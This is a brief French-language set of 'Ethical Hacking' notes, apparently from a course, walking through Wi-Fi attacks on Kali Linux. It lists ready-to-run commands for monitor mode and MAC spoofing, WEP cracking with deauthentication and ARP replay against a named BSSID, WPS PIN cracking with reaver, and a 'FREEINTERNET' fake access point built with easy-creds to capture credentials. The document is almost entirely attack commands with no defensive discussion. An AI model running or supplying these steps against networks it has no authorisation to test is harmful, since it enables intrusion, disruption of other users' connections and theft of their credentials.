# Ethical Hacking
# WIFI HACK

**WIFI HACKING**

https://www.kali.org/

KALI

Wifi USB Alfa

**WIFI HACKING**

https://www.kali.org/downloads/

**DOWNLOAD KALI LINUX VIRTUAL IMAGES**
https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download

**Kali Linux 2020.1 Release (Mot de passe)**
https://www.kali.org/releases/kali-linux-2020-1-release/

**Télécharger  VMware Fusion**
https://my.vmware.com/fr/web/vmware/info/slug/desktop_end_user_computing/vmware_fusion/11_0

**Download VirtualBox**
https://www.virtualbox.org/wiki/Downloads

**WIFI HACKING**

Vérifier la carte Wifi :

ip a
sudo –i
su -c "iwconfig"

Changer vers le mode Monitor:

airmon-ng
airmon-ng check
airmon-ng check kill
airmon-ng start wlan0
airmon-ng
Sudo iwconfig

Sniffer le réseau

airodump-ng wlan0mon

# Changer adresse MAC sur le réseau

```
macchanger –help
macchanger –s wlan0mon
sudo ifconfig wlan0mon down
macchanger –r wlan0mon
macchanger –s wlan0mon
macchanger –m 00:11:22:33:44:55 wlan0mon
macchanger –s wlan0mon
```

*Crack WEP


airodump-ng wlan0mon
cd /home/kali/Desktop/attack
airodump-ng wlan0mon --channel 10 --bssid C4:EA:1D:1F:8A:9F --write dumb
aireplay-ng --arpreplay -e TNCAP1F8A9F wlan0mon
aireplay-ng --deauth 0 -e TNCAP1F8A9F wlan0mon
aireplay-ng --arpreplay -e TNCAP1F8A9F -h 8C:85:90:0C:C5:82 wlan0mon
aircrack-ng dumb-01.cap

*Crack WPS

airodump-ng wlan0mon –wps
reaver -i wlan0mon -b C4:EA:1D:1F:8A:9F –vv
reaver -i wlan0mon -b C4:EA:1D:1F:8A:9F -vv -p 23145696

https://github.com/t6x/reaver-wps-fork-t6x/
https://debian-facile.org/utilisateurs:hypathie:tutos:installer-et-utiliser-sqlite
https://ubuntuforums.org/showthread.php?t=1287245

*Fake Points d'accès
Google: easy-creds
https://github.com/brav0hax/easy-creds
cd Desktop
unzip easy-creds-master.zip
apt-get install isc-dhcp-serveur
cd easy-creds-master
./installer.sh
Choix: 1
Ici connecter la carte wifi Alpha
./easy-creds.sh
Choix: 3 (Face AP) Ensuite Choix: 1 (Statique)
No slidejaking
eth0
wlan0
FREEINTERNET
Chanel: 2
wlan0mon
No adress mac
At0
No
10.0.0.0/24 Ensuite 8.8.8.8

**MERCI**